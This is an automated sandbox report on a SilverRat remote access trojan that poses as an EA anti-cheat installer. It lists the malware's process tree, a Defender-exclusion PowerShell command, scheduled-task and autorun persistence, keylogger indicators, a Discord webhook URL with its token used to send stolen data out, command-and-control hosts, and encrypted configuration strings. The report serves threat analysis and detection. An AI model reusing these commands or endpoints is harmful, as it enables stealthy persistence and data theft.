Edit tour

Windows Analysis Report
Xyq6rvzLJs.exe

Overview

General Information

Sample name:	Xyq6rvzLJs.exe renamed because original name is a hash value
Original sample name:	3aab068d8c443560d02e4b58cf05e8f1b6d70f93.exe
Analysis ID:	1552937
MD5:	5ec3267acfd4ef36cbfb796016142892
SHA1:	3aab068d8c443560d02e4b58cf05e8f1b6d70f93
SHA256:	64b1f050cbe98f8ecdc56cf7fb3a2a96fdeb3d5bad2053db36ba12a5fe5e92bb
Tags:	exesilverratuser-NDA0E
Infos:

Detection

SilverRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected SilverRat

.NET source code contains potential unpacker

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Xyq6rvzLJs.exe (PID: 2764 cmdline: "C:\Users\user\Desktop\Xyq6rvzLJs.exe" MD5: 5EC3267ACFD4EF36CBFB796016142892)

attrib.exe (PID: 1436 cmdline: "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 6640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7092 cmdline: "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6360 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpF224.tmp.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 4796 cmdline: timeout 3 MD5: 100065E21CFBBDE57CBA2838921F84D6)

$77EAAntiCheat.Installler.exe (PID: 2884 cmdline: "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe" MD5: 5EC3267ACFD4EF36CBFB796016142892)

schtasks.exe (PID: 5564 cmdline: "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 2944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4068 cmdline: "schtasks.exe" /Create /SC ONCE /TN "$77EAAntiCheat.Installler.exe" /TR "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe \"\$77EAAntiCheat.Installler.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1096 cmdline: "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 6648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7092 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 432 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7060 cmdline: "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "EAAntiCheat.Installler_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00 MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

$77EAAntiCheat.Installler.exe (PID: 6104 cmdline: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe "\$77EAAntiCheat.Installler.exe" /AsAdmin MD5: 5EC3267ACFD4EF36CBFB796016142892)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Xyq6rvzLJs.exe	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2077667438.0000000003F74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security
00000000.00000000.2051314011.0000000000622000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security
Process Memory Space: Xyq6rvzLJs.exe PID: 2764	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.0.Xyq6rvzLJs.exe.620000.0.unpack	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security
0.2.Xyq6rvzLJs.exe.3f77ae8.0.unpack	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security
0.2.Xyq6rvzLJs.exe.3f77ae8.0.raw.unpack	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, CommandLine|base64offset|contains: I~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe" , ParentImage: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, ParentProcessId: 2884, ParentProcessName: $77EAAntiCheat.Installler.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, ProcessId: 7092, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Xyq6rvzLJs.exe, ProcessId: 2764, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default)

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "schtasks.exe" /Create /SC ONCE /TN "$77EAAntiCheat.Installler.exe" /TR "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe \"\$77EAAntiCheat.Installler.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST, CommandLine: "schtasks.exe" /Create /SC ONCE /TN "$77EAAntiCheat.Installler.exe" /TR "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe \"\$77EAAntiCheat.Installler.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST, CommandLine|base64offset|contains: *j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe" , ParentImage: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, ParentProcessId: 2884, ParentProcessName: $77EAAntiCheat.Installler.exe, ProcessCommandLine: "schtasks.exe" /Create /SC ONCE /TN "$77EAAntiCheat.Installler.exe" /TR "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe \"\$77EAAntiCheat.Installler.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST, ProcessId: 4068, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, CommandLine|base64offset|contains: I~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe" , ParentImage: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, ParentProcessId: 2884, ParentProcessName: $77EAAntiCheat.Installler.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, ProcessId: 7092, ProcessName: powershell.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:53:22.851817+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49710	TCP
2024-11-09T22:54:01.184035+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49942	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Xyq6rvzLJs.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

Avira: detection malicious, Label: HEUR/AGEN.1313050

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: Xyq6rvzLJs.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Xyq6rvzLJs.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\$77EAAntiCheat.Installler.exe.log

Jump to behavior

Source: unknown

HTTPS traffic detected: 162.159.137.232:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: Xyq6rvzLJs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 141.98.102.187 ports 2,3,29853,5,8,9

Source: global traffic

TCP traffic: 192.168.2.5:49707 -> 141.98.102.187:29853

Source: global traffic

HTTP traffic detected: POST /api/webhooks/1096011178049802290/d9w9LhtbB8Cy4apceC6cLWfZWhlAAMAf3qABUNFcfpGyxXEk9Qtozf7gqlpK15fLwasp HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: discord.comContent-Length: 414Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 162.159.137.232 162.159.137.232

Source: Joe Sandbox View

ASN Name: M247GB M247GB

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49710
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49942

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: discord.com
Source: global traffic	DNS traffic detected: DNS query: kanibal.mooo.com

Source: unknown

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 09 Nov 2024 21:53:10 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1731189192x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IUwVeMTn46AHZNgPU7jzSwB1ChURg%2FZ0LFBa8yr2cMhRL%2BgeeUIZxuG0i0PQUqzNy8ZKyhAeWIV43fbBNmoZdLl6LT1mOa5sEtwDPTTI%2BcwJrXZKL5K8l6cn%2FtdY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=abcf9f927ef405fe1dead6df440f9055f166ebbb-1731189190; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=78SoGGeM4_zTYGvCUSTwQVwmHc8KwTnr0hkI6fWjeOI-1731189190777-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e0108b949c62cc7-DFW{"message": "Unknown Webhook", "code": 10015}

Source: $77EAAntiCheat.Installler.exe, 0000000C.00000002.3298160192.000000000410B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com
Source: Xyq6rvzLJs.exe, 00000000.00000002.2077667438.0000000003AC1000.00000004.00000800.00020000.00000000.sdmp, $77EAAntiCheat.Installler.exe, 0000000C.00000002.3298160192.0000000003D29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: $77EAAntiCheat.Installler.exe, 0000000C.00000002.3298160192.000000000406E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: $77EAAntiCheat.Installler.exe, 00000017.00000002.2137877300.0000000003771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1096011178049802290/d9w9LhtbB8Cy4apceC6cLWfZWhlAAMAf3qABUNFcfpGyxXE
Source: $77EAAntiCheat.Installler.exe, 00000017.00000002.2137877300.0000000003771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.top4top.io/p_2522c7w8u
Source: $77EAAntiCheat.Installler.exe, 00000017.00000002.2137877300.0000000003771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.top4top.io/p_2522c7w8u1.png

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown

HTTPS traffic detected: 162.159.137.232:443 -> 192.168.2.5:49706 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SilverRat

Source: Yara match	File source: Xyq6rvzLJs.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Xyq6rvzLJs.exe.620000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Xyq6rvzLJs.exe.3f77ae8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Xyq6rvzLJs.exe.3f77ae8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2077667438.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2051314011.0000000000622000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Xyq6rvzLJs.exe PID: 2764, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, type: DROPPED

Contains functionality to log keystrokes (.Net Source)

Source: Xyq6rvzLJs.exe, Keyloaggr.cs	.Net Code: KeyboardLayout
Source: $77EAAntiCheat.Installler.exe.0.dr, Keyloaggr.cs	.Net Code: KeyboardLayout

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

Code function: 0_2_00007FF848E97E09 NtSetValueKey,

0_2_00007FF848E97E09

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Code function: 0_2_00007FF848E960C2	0_2_00007FF848E960C2
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Code function: 0_2_00007FF848E95316	0_2_00007FF848E95316
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Code function: 12_2_00007FF848E760C2	12_2_00007FF848E760C2
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Code function: 12_2_00007FF848E75316	12_2_00007FF848E75316

Source: Xyq6rvzLJs.exe	Static PE information: No import functions for PE file found
Source: $77EAAntiCheat.Installler.exe.0.dr	Static PE information: No import functions for PE file found

Source: Xyq6rvzLJs.exe, 00000000.00000000.2051327899.000000000062E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEAAntiCheat.Services.exe4 vs Xyq6rvzLJs.exe
Source: Xyq6rvzLJs.exe, 00000000.00000002.2077667438.0000000003F74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEAAntiCheat.Services.exe4 vs Xyq6rvzLJs.exe
Source: Xyq6rvzLJs.exe	Binary or memory string: OriginalFilenameEAAntiCheat.Services.exe4 vs Xyq6rvzLJs.exe

Source: Xyq6rvzLJs.exe, Settings.cs	Cryptographic APIs: 'CreateDecryptor'
Source: $77EAAntiCheat.Installler.exe.0.dr, Settings.cs	Cryptographic APIs: 'CreateDecryptor'

Source: Xyq6rvzLJs.exe, Settings.cs	Task registration methods: 'CreateShTasks'
Source: $77EAAntiCheat.Installler.exe.0.dr, Settings.cs	Task registration methods: 'CreateShTasks'

Source: Xyq6rvzLJs.exe, Settings.cs	Base64 encoded string: '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'
Source: Xyq6rvzLJs.exe, Installation.cs	Base64 encoded string: 'YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBiLlp486XC9OZHtGsiixnNW'
Source: Xyq6rvzLJs.exe, MessageRead.cs	Base64 encoded string: 'YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBhStm9RR7V2byuc2qvN4qWd'
Source: $77EAAntiCheat.Installler.exe.0.dr, Settings.cs	Base64 encoded string: 't9H0tGywaq23QHywsvniYlva2DUEoHwEX4RZOKw6QYOUUUEs6+qPhkwL0ziJc2nYj2yd5E4o3kMJj8NRpRTkpZcyIg/ljsBjIY4uuTgySYNYShSJRrNgQc/XiUXjH546feRdpS3EuZPWH15iNA3U89kmdXU1BOtms28guz5MUZ/jdeGBHbjPJULpyM8EgGGdK3ajqJ+NWQxPHql47XGQFXqJ5PauE0xmpcMKt+LU7fe+NS0Yx11uv+tRwSlMmFhYU9pSYoS8zZ7Lyeaw8rcxs06oecNxLKcmbSH3H5QWo4qYq/Y7HAeBmLEHHB5t8+bCVeDMfccmct8s+aZpljSceGlri2HJsxEjZ7FYmh4+o8bhacTmqQyE99P1kSa4FAWPLn59j5s1nO91Sb/rMvcNUApgatm6ZRZjc+Ninv7rXwFncnT7eRSRvldp7PohX6bsJEJRMnfLT4YxM0TzqV9POSK0hjrRojbiRQWahccxQRKfg3TcVxNnNjCQWMOJ0YzNuQ0ZSTLPO3QA4v/0cwD5nBhPdhowAnMUb4j61HsPdaQnKXvlx377vbMOowWJFqGC1ES1rKn843GMu81HL7FJsfrpqglmmFTddG3IwkeJU7umxj41+anidgCco7Jzbii9D9e4l2DF3EuhYg+qIuiwNw4ACh3olxSGStXl952V/dY=', 'MIIE4DCCAsigAwIBAgIQAKQYOfZd86J2BfNjhG4CWTANBgkqhkiG9w0BAQ0FADARMQ8wDQYDVQQDDAZTaWx2ZXIwIBcNMjIwODI2MTkwMTA4WhgPOTk5OTEyMzEyMzU5NTlaMBExDzANBgNVBAMMBlNpbHZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPbpOWfhZTuOfEaqqImTTe5dNHAAry7/mf00DCoI4lPZfypsc1tYraxSPFeayGu09a3qdhkWKSVIgwnu2n4GLQNOCY9fh/1oyrX4Iir3BIkYeU7pKTWgjhUlAmFAUAaNr0ca23Ku2kN79jrDzRznOgE2DEW4p7OiM4Mb097ma9lzu7MyssHbY4VCteAhj9HZiplqBxaC1vXDmzxqG+gUZ1aLcyG7ssdkOjtWVBgT3gD/gOl7KchRzCFB1egDC/vD9WZCG35U3Ngi+IkTznoXR1R06cq4v0UnGjE37R2vcB21qb0ZYNiZJXZHv5i9+R7xoPeNoLda5PqnfGGbhPvNEdD56mdcOKlzGIuyemLkUo8texdpiBWKbtc3JZf5VsKxjJtHDK3xW6gDGI+PAirzGkFPmwcf8WgsblvzLg8OZpVxVs8rmKWoi6qIrf4CXnyl73J4lgzW+ir7PjANAQXwLNGdNnvdMeLeo/muGQPdeNpr6OczGGnkWA4qniHeL51/Gx0a8A+jP9zKiyu+qHcsP2IotgWDH/KlzJVr7IAum+DV92uV8poTDcUNcHaKvhHA65KmEtsvLbK6lFZcAMC0eWC0VgpW44T1/16rOaaky5mP6rTMc3nSyOl/lU/XgAgGGQPe22bRLWYzd3WVeEpI1WnHYXS+tL9IOe4kJP+pYsWDAgMBAAGjMjAwMB0GA1UdDgQWBBR32TJj2LeUx9L+RcSOvmFV6VJq6TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQA+qucSOi7ov7Q1FmAjMf925KuvKuCNwJiu3Sqo3FDGVAD1fAwAi2FdyuXEO2VIUPZCkalFcBna5rqyrc6tcS4T0IL2TsYLrsuGir7PWP7CAcft1urYS1HpNpHxeH/nixwnQaQs/MuRmdm2TeCj6G21P5BTW55U5y9sMP